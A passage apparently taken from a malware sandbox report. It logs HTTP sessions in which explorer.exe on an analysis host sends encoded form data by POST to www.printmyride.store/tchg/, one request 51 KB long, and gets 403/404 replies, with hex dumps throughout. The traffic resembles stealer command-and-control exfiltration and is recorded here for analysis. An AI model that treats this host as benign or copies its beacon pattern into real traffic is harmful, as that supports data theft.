51 59 4d 39 57 62 53 72 6a 65 67 34 53 53 44 37 53 54 4c 6e 75 4b 33 69 32 4f 53 61 47 28 67 4d 34 6e 52 73 4d 76 45 49 55 50 35 44 36 70 46 7e 6d 38 68 4c 61 55 7a 31 6c 64 59 7e 66 6d 73 78 5a 28 2d 63 52 37 34 4f 42 45 4b 74 75 77 4a 76 70 4b 75 7a 64 73 36 58 5f 30 56 43 44 30 57 4d 78 52 4b 47 6e 69 56 73 67 55 59 49 52 39 6b 50 6c 31 43 31 67 4e 58 58 62 48 74 69 76 7e 4d 56 63 74 4e 72 5f 4c 34 30 4d 4f 33 72 37 59 6c 50 35 4e 65 5a 56 68 72 56 36 77 6f 5a 4d 67 6f 28 38 75 5f 78 50 6e 33 59 54 66 5a 52 42 7e 45 4c 75 48 50 47 70 77 6b 79 61 51 38 31 5a 38 70 41 47 63 51 46 77 43 66 67 74 4c 4f 6d 49 64 64 4d 61 4b 6f 49 6e 6d 2d 75 75 61 78 38 4a 69 37 45 50 30 4e 50 4a 44 64 69 35 78 6a 56 44 76 34 5a 61 55 46 45 62 4f 42 7e 55 56 46 7e 59 55 49 4b 30 46 58 59 65 30 69 4a 69 7a 4a 68 46 32 5f 6f 6f 37 6a 47 79 73 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=YjWtulgkPFiNRt3TPM(TCbuAUOVEvk1Si6gD0RDOBxLpIKuZlBKTUVKM4HT60zlj~YHpNiFceJDDYnN1mqf1iWE8JG8r40I6Ll5TAA83r-V8WSrQoi1k0PzuhHWZTzxOZHtRuZplSjKEAs1dDk~F3-KEUHVjs4Hs9_Z0uFGpl7RgRvbLFAQUP5LjiL1gPDmLp7aExAsmBXP3NBz5xf7zP2GqyGCVkJf8HjR8xvtckVlkx1NgFQYM9WbSrjeg4SSD7STLnuK3i2OSaG(gM4nRsMvEIUP5D6pF~m8hLaUz1ldY~fmsxZ(-cR74OBEKtuwJvpKuzds6X_0VCD0WMxRKGniVsgUYIR9kPl1C1gNXXbHtiv~MVctNr_L40MO3r7YlP5NeZVhrV6woZMgo(8u_xPn3YTfZRB~ELuHPGpwkyaQ81Z8pAGcQFwCfgtLOmIddMaKoInm-uuax8Ji7EP0NPJDdi5xjVDv4ZaUFEbOB~UVF~YUIK0FXYe0iJizJhF2_oo7jGys.
May 30, 2023 11:08:24.522293091 CEST	337	IN	HTTP/1.1 403 Forbidden date: Tue, 30 May 2023 09:08:24 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close Data Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 17 fb af 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Vp/JLII&T";Ct@}4l"(/ 5(Y^f>5t0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.11.20	49839	130.185.109.77	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:31.408299923 CEST	1545	OUT	POST /tchg/ HTTP/1.1 Host: www.printmyride.store Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.printmyride.store User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.printmyride.store/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 64 53 53 39 71 5f 68 49 6d 55 79 43 51 41 62 69 4e 71 63 54 34 31 63 6f 39 47 6d 6f 4d 6d 32 43 62 6d 37 73 78 66 6f 78 65 2d 70 68 77 41 5a 6b 54 6f 33 55 38 65 76 6e 6e 35 43 52 50 6d 76 4f 30 62 4e 47 6e 43 46 37 78 34 4e 42 53 5a 4a 50 71 77 6a 59 45 5a 64 4c 76 50 78 4d 52 45 4e 33 4c 42 31 70 46 59 39 54 74 37 66 5a 75 5f 48 46 4d 73 66 37 42 59 67 57 6d 68 75 30 7a 75 75 58 75 5a 46 79 56 71 68 59 71 32 42 64 55 31 4e 36 7e 35 43 59 4e 6b 64 59 5a 4e 34 57 5a 79 6e 61 75 54 58 33 4d 6c 6e 78 45 6e 59 46 70 33 65 58 46 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=dSS9q_hImUyCQAbiNqcT41co9GmoMm2Cbm7sxfoxe-phwAZkTo3U8evnn5CRPmvO0bNGnCF7x4NBSZJPqwjYEZdLvPxMREN3LB1pFY9Tt7fZu_HFMsf7BYgWmhu0zuuXuZFyVqhYq2BdU1N6~5CYNkdYZN4WZynauTX3MlnxEnYFp3eXFQ).
May 30, 2023 11:12:31.419176102 CEST	1545	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 30 May 2023 09:12:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.11.20	49840	130.185.109.77	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:33.939418077 CEST	1546	OUT	POST /tchg/ HTTP/1.1 Host: www.printmyride.store Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.printmyride.store User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.printmyride.store/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 64 53 53 39 71 5f 68 49 6d 55 79 43 52 67 72 69 49 4a 45 54 78 31 63 72 79 6d 6d 6f 46 47 32 4f 62 6d 48 73 78 65 73 68 65 4d 64 68 77 69 78 6b 53 70 33 55 39 65 76 6e 73 5a 43 75 51 32 76 5f 30 62 78 34 6e 44 35 37 78 38 64 42 55 71 78 50 39 77 6a 62 63 70 64 49 28 5f 78 50 61 6b 4e 74 4c 42 4a 44 46 5a 5a 54 74 49 62 5a 70 39 28 46 66 4e 66 34 46 34 67 51 67 68 75 31 6d 65 75 6a 75 5a 42 4d 56 6f 77 6a 71 46 64 64 56 56 74 36 28 35 43 58 61 6b 64 66 45 64 35 53 4a 6d 28 56 76 42 28 5a 5a 41 44 76 41 32 5a 64 6a 43 33 53 48 4f 54 5f 32 37 46 30 7e 64 76 4e 6a 36 49 47 31 4d 4d 61 67 31 69 32 68 50 6a 4d 44 62 45 4a 69 59 31 52 4c 72 41 4b 43 39 75 33 47 64 6d 42 6b 6d 42 4b 56 32 38 68 65 6d 58 51 63 53 61 34 4c 39 65 6b 41 76 76 61 74 30 49 56 4b 4a 58 79 77 74 4b 70 51 57 35 4c 50 36 35 46 61 39 4b 4a 71 6e 35 61 4b 76 66 58 58 50 64 79 6c 35 4b 32 73 53 4d 42 31 6a 65 78 66 6c 4d 44 48 39 4c 63 44 46 7a 30 66 38 42 68 54 48 67 57 42 5a 72 64 72 54 44 76 72 50 28 32 4e 61 41 5f 48 66 6b 75 4e 56 4b 61 33 67 4e 64 61 6f 33 59 43 32 68 52 53 6b 36 59 33 51 72 44 75 34 74 57 6d 46 55 47 62 64 45 69 78 36 50 6b 4e 70 50 6f 63 73 30 70 64 56 69 53 58 65 77 47 6e 37 6e 33 36 71 75 52 6c 51 74 6f 54 31 61 74 59 79 37 44 34 2d 7e 77 69 6d 46 74 74 43 36 39 58 4c 4b 66 4f 44 55 4c 67 2d 74 61 53 30 64 4a 65 4b 77 58 79 68 73 4a 28 37 71 55 7a 6f 7e 66 44 6d 32 71 6b 45 6c 5a 36 36 28 62 36 39 66 35 59 37 76 73 79 69 4c 5f 37 47 47 31 56 6e 5a 2d 4e 74 5a 75 34 48 6b 47 41 51 69 4e 71 7a 54 6f 72 55 54 41 61 4b 6f 6b 33 4f 6c 61 64 61 63 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=dSS9q_hImUyCRgriIJETx1crymmoFG2ObmHsxesheMdhwixkSp3U9evnsZCuQ2v_0bx4nD57x8dBUqxP9wjbcpdI(_xPakNtLBJDFZZTtIbZp9(FfNf4F4gQghu1meujuZBMVowjqFddVVt6(5CXakdfEd5SJm(VvB(ZZADvA2ZdjC3SHOT_27F0~dvNj6IG1MMag1i2hPjMDbEJiY1RLrAKC9u3GdmBkmBKV28hemXQcSa4L9ekAvvat0IVKJXywtKpQW5LP65Fa9KJqn5aKvfXXPdyl5K2sSMB1jexflMDH9LcDFz0f8BhTHgWBZrdrTDvrP(2NaA_HfkuNVKa3gNdao3YC2hRSk6Y3QrDu4tWmFUGbdEix6PkNpPocs0pdViSXewGn7n36quRlQtoT1atYy7D4-~wimFttC69XLKfODULg-taS0dJeKwXyhsJ(7qUzo~fDm2qkElZ66(b69f5Y7vsyiL_7GG1VnZ-NtZu4HkGAQiNqzTorUTAaKok3Oladac.
May 30, 2023 11:12:33.951101065 CEST	1547	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 30 May 2023 09:12:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.11.20	49841	130.185.109.77	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:36.469614983 CEST	1560	OUT	POST /tchg/ HTTP/1.1 Host: www.printmyride.store Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.printmyride.store User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.printmyride.store/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 64 53 53 39 71 5f 68 49 6d 55 79 43 52 67 72 69 49 4a 45 54 78 31 63 72 79 6d 6d 6f 46 47 32 4f 62 6d 48 73 78 65 73 68 65 4d 6c 68 77 52 4a 6b 64 71 66 55 6e 65 76 6e 6c 35 43 56 51 32 76 59 30 66 6c 30 6e 44 31 72 78 2d 56 42 55 38 74 50 39 44 62 62 5a 70 64 4e 36 5f 78 4e 52 45 4e 35 4c 42 31 58 46 64 49 6f 74 34 76 5a 75 36 37 46 64 4f 48 37 4a 49 67 57 67 68 75 78 73 2d 75 42 75 5a 4e 63 56 6f 38 6a 71 48 70 64 56 6e 6c 36 34 75 65 58 41 45 64 63 52 74 35 6e 53 32 7e 72 76 42 37 4e 5a 41 44 56 41 33 64 64 6a 45 33 53 57 35 6e 38 32 62 46 30 67 74 76 4f 6e 36 45 4b 31 4d 68 5a 67 31 6d 32 68 4e 6a 4d 52 4c 45 4a 6d 38 68 51 43 72 41 4d 50 64 76 76 43 64 69 4a 6b 6d 46 30 56 30 77 68 65 32 54 51 63 68 79 34 49 66 32 6b 63 66 76 59 69 55 49 64 66 35 58 55 77 74 36 44 51 58 5a 68 50 36 74 46 62 66 53 4a 28 7a 6c 62 61 66 66 56 59 76 63 79 6f 5a 4f 45 73 53 38 64 31 6a 66 30 66 68 38 44 47 4f 44 63 41 45 7a 7a 63 73 42 6d 62 6e 67 35 4c 35 58 74 72 54 76 52 72 50 32 7a 4e 5a 73 5f 45 5f 6b 75 64 6d 53 5a 35 51 4e 61 57 49 32 48 47 32 68 47 53 6b 33 78 33 53 48 54 76 49 42 57 6e 78 34 47 49 64 45 6a 36 36 50 67 55 35 50 75 4e 38 30 70 64 56 6d 67 58 65 30 47 6d 4b 50 33 72 4b 65 52 75 6e 35 6f 66 56 61 6a 59 79 37 53 34 2d 79 44 69 6e 38 4d 74 42 79 58 58 4a 6d 66 4a 53 45 4c 68 37 52 46 46 45 64 4d 61 4b 77 6d 76 78 77 6b 28 36 47 63 7a 72 57 70 45 57 61 71 6e 45 56 5a 7e 36 28 59 34 64 66 2d 5a 37 76 41 32 69 57 6d 37 47 71 45 56 6e 45 7a 4e 76 5a 75 35 7a 4e 33 62 44 65 69 78 52 58 43 6b 6a 66 6a 56 72 51 49 75 5f 31 6c 45 64 7a 76 34 42 4f 72 6c 56 59 56 77 54 37 4b 4e 2d 39 43 79 45 65 56 53 54 55 61 42 61 41 74 4e 52 72 76 54 5f 63 39 6c 7a 76 4e 51 4b 69 62 33 43 6e 5a 47 33 73 53 63 6c 53 72 33 31 28 77 59 56 7a 6d 38 61 41 62 55 6a 43 55 30 4b 72 49 6c 4b 7a 64 69 4e 49 65 54 4b 38 6b 47 46 39 5f 61 56 4c 57 63 64 6e 33 4d 68 28 6f 7e 45 6d 32 7e 43 44 44 65 4b 71 31 76 2d 6d 58 66 64 52 39 6e 77 31 6c 77 72 57 71 69 6f 7e 36 7a 6b 77 38 6d 74 71 57 62 44 37 43 34 55 6c 37 66 6d 28 38 36 4d 4c 51 75 47 4f 6f 73 6b 6f 64 39 50 31 75 44 4a 49 43 46 30 37 63 79 5f 6d 41 36 78 57 43 50 75 78 74 4b 49 77 38 4e 43 58 63 45 76 28 39 6d 68 56 32 6c 74 78 32 47 44 7e 39 44 76 6b 69 30 46 37 57 62 73 4b 7a 58 64 65 36 47 69 78 44 49 31 62 7a 67 51 4a 46 33 38 7a 6b 54 6b 4a 66 55 2d 71 55 57 30 39 46 28 4a 71 50 5a 43 52 69 6d 51 37 70 39 58 39 4f 77 77 74 52 4c 45 76 31 76 74 28 74 41 69 4c 76 50 33 37 54 43 30 68 62 42 55 70 78 4e 67 72 75 68 42 70 77 74 69 72 74 7a 62 30 36 4b 6c 58 7a 4e 71 53 38 72 7a 6b 41 72 50 74 59 36 31 5a 34 47 58 46 41 4e 49 4a 58 54 71 73 43 5a 6e 55 4b 65 44 45 61 32 6d 4c 68 43 4a 6e 31 67 58 62 30 53 6d 46 5a 63 46 46 5a 36 4e 59 54 46 6e 28 76 41 50 42 6e 34 65 37 76 78 62 32 74 63 62 48 77 6b 51 58 63 49 37 39 46 78 6a 54 62 62 2d 28 6c 6c 63 4c 5a 6b 56 56 59 6b 63 33 43 75 38 61 6a 52 63 4f 33 35 63 53 62 6c 57 58 59 73 43 73 7a 66 4d 4f 65 64 68 58 32 77 75 31 48 39 44 31 78 4b 55 62 69 31 77 6e 66 6e 79 49 79 4a 30 64 75 28 66 79 4f 6d 69 6d 51 46 56 6e 56 50 63 57 61 74 76 36 37 48 37 32 4c 4e 76 57 75 49 44 67 4e 45 64 45 65 77 63 31 48 55 44 7a 70 36 31 57 32 56 37 68 4a 34 2d 4f 49 6e 4f 52 47 73 58 69 47 7e 71 71 39 43 5a 73 63 4c 69 6e 6e 53 78 48 42 41 74 61 33 55 74 63 37 46 4c 66 49 43 6b 39 79 4f 78 58 41 36 30 4b 2d 6e 77 43 56 56 39 78 69 72 70 45 71 56 39 45 66 6e 58 36 59 6e 6f 4b 36 48 33 6e 42 35 44 43 34 44 64 52 79 45 73 46 6d 42 42 78 51 58 6d 53 39 72 52 43 39 6a 71 55 62 62 4e 61 79 79 47 68 4d 33 50 55 63 50 67 75 31 66 43 74 4a 4b 5a 51 4a 74 33 54 53 62 62 38 74 67 47 7a 4c 41 36 62 63 56 48 66 64 47 6f 68 59 5a 53 4d 41 79 74 79 72 46 63 54 44 74 6d 56 57 46 65 36 53 4a 65 46 44 31 4b 61 36 30 66 30 6f 62 5a 37 4e 6f 5f 37 6a 43 58 41 42 44 49 39 53 70 67 74 31 75 79 47 79 7e 38 51 68 51 58 45 4f 46 4e 47 49 52 5a 4c 67 6a 30 49 6c 57 30 4b 48 53 70 70 66 62 5a 68 39 61 45 35 30 4c 62 55 6e 64 5f 51 64 6d 73 73 58 4e 36 48 7a 78 53 4d 6d 75 53 35 59 68 67 65 46 4c 61 6f 58 7e 66 71 73 56 6f 71 42 30 35 74 78 78 6d 51 55 43 72 46 4d 36 Data Ascii: O0qEM=dSS9q_hImUyCRgriIJETx1crymmoFG2ObmHsxesheMlhwRJkdqfUnevnl5CVQ2vY0fl0nD1rx-VBU8tP9DbbZpdN6_xNREN5LB1XFdIot4vZu67FdOH7JIgWghuxs-uBuZNcVo8jqHpdVnl64ueXAEdcRt5nS2~rvB7NZADVA3ddjE3SW5n82bF0gtvOn6EK1MhZg1m2hNjMRLEJm8hQCrAMPdvvCdiJkmF0V0whe2TQchy4If2kcfvYiUIdf5XUwt6DQXZhP6tFbfSJ(zlbaffVYvcyoZOEsS8d1jf0fh8DGODcAEzzcsBmbng5L5XtrTvRrP2zNZs_E_kudmSZ5QNaWI2HG2hGSk3x3SHTvIBWnx4GIdEj66PgU5PuN80pdVmgXe0GmKP3rKeRun5ofVajYy7S4-yDin8MtByXXJmfJSELh7RFFEdMaKwmvxwk(6GczrWpEWaqnEVZ~6(Y4df-Z7vA2iWm7GqEVnEzNvZu5zN3bDeixRXCkjfjVrQIu_1lEdzv4BOrlVYVwT7KN-9CyEeVSTUaBaAtNRrvT_c9lzvNQKib3CnZG3sSclSr31(wYVzm8aAbUjCU0KrIlKzdiNIeTK8kGF9_aVLWcdn3Mh(o~Em2~CDDeKq1v-mXfdR9nw1lwrWqio~6zkw8mtqWbD7C4Ul7fm(86MLQuGOoskod9P1uDJICF07cy_mA6xWCPuxtKIw8NCXcEv(9mhV2ltx2GD~9Dvki0F7WbsKzXde6GixDI1bzgQJF38zkTkJfU-qUW09F(JqPZCRimQ7p9X9OwwtRLEv1vt(tAiLvP37TC0hbBUpxNgruhBpwtirtzb06KlXzNqS8rzkArPtY61Z4GXFANIJXTqsCZnUKeDEa2mLhCJn1gXb0SmFZcFFZ6NYTFn(vAPBn4e7vxb2tcbHwkQXcI79FxjTbb-(llcLZkVVYkc3Cu8ajRcO35cSblWXYsCszfMOedhX2wu1H9D1xKUbi1wnfnyIyJ0du(fyOmimQFVnVPcWatv67H72LNvWuIDgNEdEewc1HUDzp61W2V7hJ4-OInORGsXiG~qq9CZscLinnSxHBAta3Utc7FLfICk9yOxXA60K-nwCVV9xirpEqV9EfnX6YnoK6H3nB5DC4DdRyEsFmBBxQXmS9rRC9jqUbbNayyGhM3PUcPgu1fCtJKZQJt3TSbb8tgGzLA6bcVHfdGohYZSMAytyrFcTDtmVWFe6SJeFD1Ka60f0obZ7No_7jCXABDI9Spgt1uyGy~8QhQXEOFNGIRZLgj0IlW0KHSppfbZh9aE50LbUnd_QdmssXN6HzxSMmuS5YhgeFLaoX~fqsVoqB05txxmQUCrFM6yP9L2mIn7wShcFgHXMDnszN9OgDFOAz3Q7VhrVFopLZ~4vQPR1SBWzjXL3rVYtND60bV9FUAwAMkGhD6Z0RK-lAzoxCweXKEONO~ouLAkMlbLXQSFPwIbr1RG8NO9ICZrRRQu(bU3RJgywhWQ8L9HQ1N23xEif9Y24D4ntMsVQ1iYEfwMWNWVgV0diVQW9iF3C9iRfDmd~seNWFP5d0UvWZj_2sDRB7B1kgTGgrTIcfFBk9~_0e4HlnqKvnpP3CZbZBwAgzp4IA9jPkOiWDr-Z188R1uFtPh8Ycaj7lQ6DlCMOrGc6uSQYNOqClEVnIRH4CO0YfCHhc1qhqmy6m4FhjpDsYZ5xdL4BSTGEuGn8V5Sl2pRLSfvoOY0~LCigPYZs14hrLYsQD04aLxZFKnt1H7GapXK93pcFenG0Jf3bHmX8pkjsjrIqW50LqxzSDNRyDFnBS5fD48I0KCG0x1tTrwEc3KGqeClvGs2iuKotnJD23uTdW5nUmkRD1yMX_0lJA8r2CDkvQbCuuBqinYAaiQXZNWFQOvQRR8OTvt5kC8jI8N8TZf80HLNVOGaCX7hfsN8ZxYz9PbkCSAqmlGPCwIJ0NtelkapWt0IIPBevJi5jdZq1FUnDD0GtJ~2YsaJSzOAi7VjlnNGZ2xD2MwnyzzcR0S-jkrEifGpn0H8X_kgqeq7kwX5OktjGO6xiKANcHzLV2827FeD262xnWcD(PGQvMhvT3e6NCFSB4jgaOyCKL23LCDhBrJE5-zNtTVnoZeZ48eHh1Bp80Rn6fIYmR4KKiIvMOGzGPwfSnXHExmyLQa2UyWUsvy5oP3QZHb_~mQ3dQRIs_vxuQx1wg5F2bS3vlZa9KeD6v~mjuxlonZVl3pD9hc3fXzMz-3H~3PGrw1A5RHQA8Rp0ZMB8ymtR5SNFi8OoopTb73IN4fJEBjxrQADky5p0LRbK2TYvNp4B8l27hpvi95AKkDjH9kornQTh3bZOG(fHAGRIT8484luCQRRadq9JYnlXrNxQ9UgbVyp0_EqyMAwrKydzMKHDLBWG0wGoPkZ~GGefu8BwpUXlnjnj9n_gTUgC6PtcXn69nZz5DosGH7OrPE9L7hR310Ph-hxVXq9Gdjw5oj4grizoYMfsuKnYYISjFiEJfJqfuHyAZd-bDcjT3uXuoNc0ZAgo20xxI6B9JPpMc4gkkmZLeS1N8uA8otWgpydF-4noKS-xxSrhOmXsMaYoZvNDpKvuJd6GoBMrQ7iqmhW5Sn4QB1W0lqvfNGOJHIfefgjD5Gl0lmtujQeLlPCM2KRiIDMD_ZMa-7eFrZoiFGaGfoMHWpVMMIk4tf-v4q5x8O1B_I6qi1fsE~pqpr-W212oaqLlTWlHkBvK5Ukx5Q7Iaxls5a9MRh5H6qpZaWtCq0sw33TzjIdyI3g5QXL3S9I6F0i5JIfizOhH-yj2mK1e-oI5r0ZGFEMQKDrXdmiYCWVWBx8HjxbdUoMWiDqfqzhGUms(o2tsJPqJW0uzNtgm2yw(b5ilOk93vjfVHTXcvVCvMd2~hx43zBdyrWD5_dkGBlhwhXIZITGUWAZBerZNPkcevnHMdomuxxmI4c9aPko6SnXMtIbsrzEDk~Ry5j6oaeJpuRsO4rJrHMkcJyOqA(dYPEc0liiwMe0uCUPsTJtO0HMV9AN9vROz-X4EcZH4uUn~-HeCsyBCCc3(jAe0JSIuHxMVXq0l7MxJg0PRyb1F7xlFrY9406Jj_WTR53-~ZaVhVwLwu2D92d2zVSNL6WWRk6_DdtXvjxucrTn4B4PMRFbTDT9MC0_a3l_py5ZG_wO6cTftsDN5o1wD61Ne946lrn_ETE_elPsJq3rG99sScuPKwuRBj4-3Hjlt1~IsdtRVK6hsz~4MihbjC6cGRYAexNE6EGpD0uvQvMbjHqYxULMLO8huUyYScLPWhoRTk1Lg9fmereZC2YMWzvwp12tep8VXt4K5t~ywUzwlJBVHW3GLytmGHTTq79mTFkt5ehClWHgB3G-(LP1gZxLlz1VaJQJwdRzI22CYlii~JmxG5RztCSsrb6zFPEfJP3KvU6mjqwxqQ9rYM3SErWKMf1adKXJQ5b4eagywlL96frjMY336JLJG2E9y1B_NricPX5APT5HsTrzVqgZf-aNPVi-d9IjxYW1~W91dT2hE71Zg5MbESVpeAv_YLXL3RIR5niMcWUAsrEMqyiivX1J5Kas9Ehrox0RKe0nfF1dBVnrOJjd0yg-CmEDQbYi9OxB6kxu8v~AxpuwkWDUplmOUCMD7mNEGj3Os8OF6PmNXs1igDc6vNDazgKC0T7vKpaphMVX~EIY8KRsd7ijFPmYq8i9mbjnGmtvt5pxKSloqh7vaLWEhuqkwdUq9XjhgB(rzKo23-xDXX2YVpE2r2OKIEI_DxGQqPZaGQI_h1OJhCyOx4M_1ip0KnYxXquV3ZBxbqEzvw2nKqDAOXV27ItKsJO1tCDU~Xo-uGpWcJkgSrI9kTQE3GFy7YZzaPi-6IPyWW8wxkNJhNZXGkqYLJVCm7E1xVSTlIdLBdOLfu7VGaU7GEz9YfChF-dYRfDJCO4-ew0kIYvDdLZ4LNp0QD2h9dw0bCJxDvQwOW97jkg6xA4VtKTt41NDF68VKSnDm0XFxFGOBxSPg6TOzKuVZR4z2VQWNDRrpclFcY5S43TVqcLXOgOtSk8Pr5okFjFIIB5tfeEcg0yG0uyhB0
May 30, 2023 11:12:36.480197906 CEST	1560	IN	HTTP/1.1 404 Not Found Server: nginx/1.6.2 Date: Tue, 30 May 2023 09:12:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0
May 30, 2023 11:12:36.480214119 CEST	1561	OUT	Data Raw: 68 7a 4b 36 65 30 4f 65 7a 4a 57 32 38 4c 6f 6a 74 6d 39 42 6e 38 69 4d 44 45 79 31 6f 52 47 42 5a 57 6e 31 31 49 72 55 54 34 59 67 34 7a 6b 48 57 7a 4a 39 74 55 46 44 37 50 50 55 4a 57 71 4a 4e 28 56 6c 44 32 31 4f 4a 37 41 53 5f 76 6b 75 74 61 Data Ascii: hzK6e0OezJW28Lojtm9Bn8iMDEy1oRGBZWn11IrUT4Yg4zkHWzJ9tUFD7PPUJWqJN(VlD21OJ7AS_vkutaRvaFR54cpkRr-REqW1qphRvOLB60OF8zfmNnQIg~VI1Joh4O6iDscAaPGE_mMg1babIvCxbZfuZf3QexB6rk-DIH932RmSLwxTHJj5s9SsRH8qmd4uX59ux239loXg_DOe24pirEsvGrk1zathUSWpzvpPMlmL8W3
May 30, 2023 11:12:36.480386972 CEST	1564	OUT	Data Raw: 32 68 36 39 67 7e 71 46 50 71 74 62 7a 34 77 78 56 61 59 41 33 52 4e 72 77 35 38 38 79 69 34 30 52 74 76 4b 4f 79 34 67 34 51 52 6a 6a 65 5f 45 65 34 6a 37 72 32 6c 72 62 6d 55 64 52 39 4c 4f 76 49 78 33 6f 78 7a 67 52 56 68 33 4d 74 4d 4c 31 38 Data Ascii: 2h69g~qFPqtbz4wxVaYA3RNrw588yi40RtvKOy4g4QRjje_Ee4j7r2lrbmUdR9LOvIx3oxzgRVh3MtML18atyUlUwy4tbp1w3MZD2yOjEYee9f_0HgR8tyHBNW9xWuyuIvGAUz_e-nxSuzEb-mG7fs1sF1Bgo2YE_zgenTkfYsdwL(Tln3t3gfh8r(dih4B4-pmD2QHaEM0jzzakzEnt51FtLqSfx(pm1W7k7ZUBsuztsjzYF8c
May 30, 2023 11:12:36.480588913 CEST	1565	OUT	Data Raw: 42 64 54 50 6a 55 58 34 38 35 50 6e 39 68 5f 6c 54 51 76 70 76 76 38 4f 39 35 6b 4e 32 66 67 28 66 4d 74 4e 6d 7e 52 42 4f 6d 38 33 45 6e 79 43 31 71 5f 6f 58 62 65 67 6f 79 73 6f 52 72 61 57 74 4e 6b 38 6e 42 6e 43 41 5a 70 4b 73 4e 37 55 4a 37 Data Ascii: BdTPjUX485Pn9h_lTQvpvv8O95kN2fg(fMtNm~RBOm83EnyC1q_oXbegoysoRraWtNk8nBnCAZpKsN7UJ7R17ChuF7vIqsU8i27jhX_gxh8vWFg83vCXq1AIXjQXis853cfu7tRM_6U7nFPKAfoaYu5wR8eQ24AAdQ0yn(ZSNHI6mqYBKcoT-iOR0RMEZoEkymZJP9f4MVuAmpQZy18EaRgAY3g2EmOX3Cl1ysBRf9OqHuWliBX
